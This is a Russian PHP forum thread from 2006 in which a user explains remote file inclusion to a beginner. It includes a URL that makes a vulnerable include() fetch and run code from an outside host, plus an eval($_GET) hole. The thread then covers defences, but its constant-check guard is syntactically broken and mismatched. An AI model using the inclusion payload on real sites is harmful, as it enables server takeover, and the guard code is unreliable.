Всегда найдётся умелец, который хочет показывать случайный файл например баннер и пишет такой код.

Код: Выделить всё
$randbanner = rand(1,10);

...
include($randbanner."_banner.php");


И если этот код оказался в подключаемом файле, а инициализация - в основном, и согласование подключений не сделано (ой какое сложное слово - а ведь всё просто :) ) - всё. Твой сайт - труп.

я быстренько найду твой скрипт, и вызову его
причём вот так:
скрипт.php?$randbanner=fire-lines.com/my_hacking

а на своём сайте я размещу файл, /my_hacking_banner.php и угадай что будет в нём?
Нет, не вредоносный код. Если я так сделаю, то скрипт выполнится на моей стороне и испортит мой сайт - а мне это надо?

Поэтому я схитрю и сделаю код, печатающий вредоноснй код.

Ну примерно так
Код: Выделить всё
<?php
echo "<?php  вредоносныйкод ?>";
?>


Твой сервер ничего не подозревая обращается к моему (ну а что ему подозревать, все-великий вэб-код Diver2 приказал ему сделать
include($randbanner."_banner.php"); )

Мой сервер получает запрос, выполняет скрипт, результатом работы скрипта будет текст - он же вредоносный код.

Этот вредоносный код с успехом выполнится у тебя на сервере, ну а что будет дальше я думаю ты уже представил.

Стрррашшшно? Ыщо бы :)

Выход - простая проверка, подключают ли скрипт или выполняют.

Пусть скрипт который подключают - Б. А основной, который подключаем Б - А.

В скрипте А пишем


Код: Выделить всё
define("IN_MY_SUPER_SITE", "777995");

code
code
code
code

include("B.PHP");

code
code
coe
code


в b.php
Код: Выделить всё
if(!(defined(IN_MY_SUPER_SITE) && IN_MY_SUPER_SITE==7779995"))
{
die("Пошли нафиг! С новым годом! Хакеры чёртовы");
}

код б
код Б
код Б



всё - то что я описал, уже не сработает.

ну и естественно с выключенным register_globals всё что я могу передать, всё оно окажется в $_GET но никак не в области глобальных переменных.

Вот собственно, и пример. Ну я конечно не буду расскрывать все проф. тайны, да или нельзя тут о взломе писать, но думаю, я привёл достаточно понятный пример, как из-за 2 нелепых ошибок, я получаю полный доступ к твоему сайту.

Хакер, а то, что написано на этом сайте, что там нет сайта... Это ты так исправил ситуацию? Очень тебя прошу мой сайт не ломать... В том смысле, что не наносить ущерб... Я сюда за помощью пришел, в конце концов...


Нет, оно там так потому, что я никак не доделаю свой сайт. Пока есть только форум.

Кроме того, вы меня напугали. Получается, таким как вы отыметь весь мой сайт - полчаса работы, если не меньше? Я понимаю, что от таких, как вы защититься нереально, но, все-таки, дайте совет, как себя хоть немного защитить? Хотя бы от малолетних недоучек?


Да нет же, если не допускать простых ошибок - сайт будет почти неломаемым. А судить надо не по возрасту а по знаниям. И дело не в защите сайта, а в том, что бы самому не насоздавать в нём дыр.
(Положи на хост пустой скрипт, и попробуй теперь взломать сайт - получится что нибудь? Нет, - но ведь ты не делал никакой защиты. А теперь полоди тут скрипт с кодом
eval stripslashes($_GET['a']);
всё - я могу тварить всё что угодно.)
Т.е. самое главное - не делать дыр.

Ну вот и всё. Гм.. Опять получилась лекция
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 19.08.2006 (Сб) 16:40

Хакер, я что-то не понимаю. Я не зря задал вопрос: "а как сложно посмотреть исходники?" Ведь, если ты их посмотрел, и увидел, какой здесь define, это значит, что в свой скрипт my_hacking_banner.php, ты можешь включить ту же строчку

Код: Выделить всё
if(!(defined(IN_MY_SUPER_SITE) && IN_MY_SUPER_SITE==7779995"))
{
die("Пошли нафиг! С новым годом! Хакеры чёртовы");
}


И тогда без лишних проблем защита не сработает, и вредоносный код выполнится. Или я что-то не так понимаю?

И еще: как выключить register_globals? Суть их назначения я вроде понял, хакер, прогресс, на этот раз ты написал вполне ясно. В смысле, что мне пришлось перечитать всего-то три раза, чтоб понять.

Насчет примера с инклюдами: у меня инклюдятся txt-файлы по принципу абсолютного пути.(без переменных) Рэндомом включается выбор девушки в меню справа. Но там, по счастливой случайности, написано <img src="advert/galeries/xf$i.jpg">, где $i - случайное число от и до. А там, где id=, sort=, там у меня $a=file_get_contents(music/info/artists/artists$id.txt) или $a=file_get_contents(music/info/artists/songs$sort.txt)

Получается, вполне прилично? Без глупостей? То есть, только узнать от тебя, как и отключить register_global, и "дыр" не будет?

При моем раскладе мне точно нужна эта проверка для того, что инклюдится? Если ты так думаешь, я само собой ее вставлю.
One Day I will live in the palace & I will have everything I want (c) Aladdin

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Сообщение Хакер » 19.08.2006 (Сб) 18:58

Diver2
Ситуация такая
test.php
инклудит left_coloumn.php
---- инклудит $rand + banner.php

в таком случае, если нет define-основаной проверки, я могу вызвать из броузера скрипт left_coloumn.php
(который должен подключаться кем-то, но никак не выполняться) и установить значения некоторых переменных, который были установлены файлом выше (т.е. в файле left_coloumn.php)

Это конечно мало вероятно - узнать, какие там у тебя переменные и какие из них ни разу не инициализируются в скрипте.

Вариантов миллионы. Но наш мир не такой хороший, как многие думают, и всегда найдётся падла, которая не успокоется, пока не хакнет твой сайт и всегда надо это предусматривать.

Теперь насчёт register_globals.
Выключить можно так.
1) Если есть доступ к файлу php.ini
То там нужно просто найти строчку
Код: Выделить всё
register_globals = On

и исправить её на
Код: Выделить всё
register_globals = Off

вроде бы ничего сложного.

2) Если же хостинг не позволяет добраться до этого файла, то нужно поместить в root-директорию сайта файл с именем
.htaccess (да именно вто так - точки и буквы "htaccess" )
, а если этот файл там будет - то просто отредактировать.

Вобщем там должна быть строчка

Код: Выделить всё
php_flag register_globals off

Т.е. суть одна и та же. Думаю разберёшься.
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

AjaxVS
Постоялец
Постоялец
 
Сообщения: 506
Зарегистрирован: 01.12.2004 (Ср) 13:12
Откуда: Donetsk, Battle.Net

Сообщение AjaxVS » 19.08.2006 (Сб) 22:53

Ооой.. не перестаю получать удовольствие от чтения некоторых топиков.. =) Хотя, конечно, понять Diver2 можно, все таки человек переживает о своем сайте..

Я скажу следущее - когда я читаю отчет об очередных взломанных сайтах, то поражаюсь, как можно было додуматься создать такой небезопасный код! Иными словами, не выдумывая ничего сверхъестественного, спокойненько пописывая обчный код (но с хорошим в последствии тестингом!), можно на 99% обезопасить себя от атак. Только отключи register_globals (хотя врядли они включены) и делай огромную кучу проверок на входные данные (отсекай слэши, кавычки, скобки и т.д.). Так что не парся =)

Сайт на данный момент очень даже хороший (а я ведь не так часто говорю это на bbs =)). На MySQL ты нашими стараниями вроде перешел? Ну и все, живи и радуйся.. И форум свой пока что (!) писать не надо, сначала усовершенствуй свои знания. Главное, не забывай следить за обновлениями phpBB, а то там тоже немало уязвимостей..

Ну а так все вроде бы..

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 19.08.2006 (Сб) 23:03

Ok, спасибо. С .htaccess'ом знаком. Отключил к чертовой матери. Проверочку на тему того, что нклюдится, тоже вставлю. На всякий случай.

Хакер, почему ты упорноне отвечаешь на вопрос пор исходники? У меня никак не получается. Пробовал через php ($a=file(); $a=file_get_contents). Пробовал через "сохранить объект как". Пробовал через copy в ПХП... Пока идей больше нет, объясни, как ты умудрился? Или это из категории "совсем сложно"?

И еще: ты забыл ответить (или не захотел?) на вопрос пор то, как пароль спрятать. не верится, что это нельзя сделать. Ты же писал, что проблем с $dbLink'ом и подобными ф-ями не имеешь. Неужели это возможно только на столь высоком уровне создания сайта?
One Day I will live in the palace & I will have everything I want (c) Aladdin

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 19.08.2006 (Сб) 23:14

AjaxVS, спасибо. Не видел твое сообщение, когда хакеру отвечал =) На MySQL перешел, но лишь частично. А то, что вашими стараниями, это верно. Я бы сказал, что вы почти все и сделали. Очень рад, что тебе нравится сайт... Когда полностью перейду, обязательно зайду сообщить. Так что пока рано прощаться. Тем более, мне здесь понравилось. Очень.
One Day I will live in the palace & I will have everything I want (c) Aladdin

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Сообщение Хакер » 19.08.2006 (Сб) 23:54

Хакер, почему ты упорноне отвечаешь на вопрос пор исходники? У меня никак не получается. Пробовал через php ($a=file(); $a=file_get_contents). Пробовал через "сохранить объект как". Пробовал через copy в ПХП... Пока идей больше нет, объясни, как ты умудрился? Или это из категории "совсем сложно"?


Ниманимаю что ты от меня хочешь :)

И еще: ты забыл ответить (или не захотел?) на вопрос пор то, как пароль спрятать. не верится, что это нельзя сделать. Ты же писал, что проблем с $dbLink'ом и подобными ф-ями не имеешь. Неужели это возможно только на столь высоком уровне создания сайта?


Не надо прятать пароль. Не спрячешь его. Просто не надо его лишний раз показывать.

-А кому я его показываю :? - спросишь ты.

Да.. умышленно - никому. Но ты посторайся сделать так, чтобы его никто ещё и не посмотрел, если захотел бы.
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 20.08.2006 (Вс) 0:52

Ниманимаю что ты от меня хочешь


Я хочу спросить у тебя, как посмотреть php-код на не своем сайте. Вот и описал те способы, которые я пробовал, но они че-то не сработали.

Хотя, если это секретная информация, то не буду настаивать... :) , вы все и так тут для меня много чего сделали...

Нескромный вопрос: хакер, а тебе понравился сайт? Или ты музыку не слушаешь?
One Day I will live in the palace & I will have everything I want (c) Aladdin

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Сообщение Хакер » 20.08.2006 (Вс) 1:04

Мне сайт понравился. Музыку я слушаю. Всегда когда сижу за компом. Вот инет у меня 14 КБит/с. Поэтому и не скачиваю ничего.

Дизайн сайта мне понравился. Я как всегда огорчился, твой дизайн мне показался лучше моего, и я опять подумал - "Я - неудачник, ничего не могу. Что за чёрт вообще?". Хотя знаешь - на чужом огороде всегда трава зеленее.
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

Diver2
Новичок
Новичок
 
Сообщения: 31
Зарегистрирован: 15.08.2006 (Вт) 17:36
Откуда: DeepTown

Сообщение Diver2 » 20.08.2006 (Вс) 1:30

Бальзам на сердце...

Слушай, хакер, вот ты все о своем сайте говоришь (сколько раз упомянал), а в WWW у тебя стоит твой форум персональный... Что за фигня? Дай ссылочку, интересно посмотреть на творение... Мне, кстати, наш дизайн вообще не нравится, скоро новый будет. На вкус и цвет... А может, и про травку ты прав...

Но сайт ты все-таки дай. Это же не имеется ввиду тот, который на заказ? И не тот, про который ты писал, что "никак не доделать"?
One Day I will live in the palace & I will have everything I want (c) Aladdin

Хакер
Телепат
Телепат
Аватара пользователя
 
Сообщения: 16478
Зарегистрирован: 13.11.2005 (Вс) 2:43
Откуда: Казахстан, Петропавловск

Сообщение Хакер » 20.08.2006 (Вс) 1:45

www.fire-lines.com
я уже давал ссылку.

Видешь ли, он мой сайт большой и сложный. И я имею обыкновение дуть из мухи слона, и писать ОС вместо сайта. Ты - лидер. У тебя есть сайт. У меня нет. завтра меня вот собъёт машина - и всё. Мой комп продадут, винты отформатируют. Кто выиграл? Ты. У тебя есть сайт. А у меня так и нет. И толку от того что я там нагородил, если его никто не увидит. И толку от этого всего, если он не интересен.

Ну нет на нём посетителей. Толку вообще от всего этого? От всех эти чёртовых GCP-unsetter-ов. ACD-шников, проверялок CRC32.

Знаешь, твой сайт определённо рулит. У него есть будущее. А я сейчас трачу месяцы и не знаю что будет. Оно так всегда... хочешь как лучше. А получается как всегда ...
—We separate their smiling faces from the rest of their body, Captain.
—That's right! We decapitate them.

След.

Вернуться в Народный треп

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 129

    TopList  
cron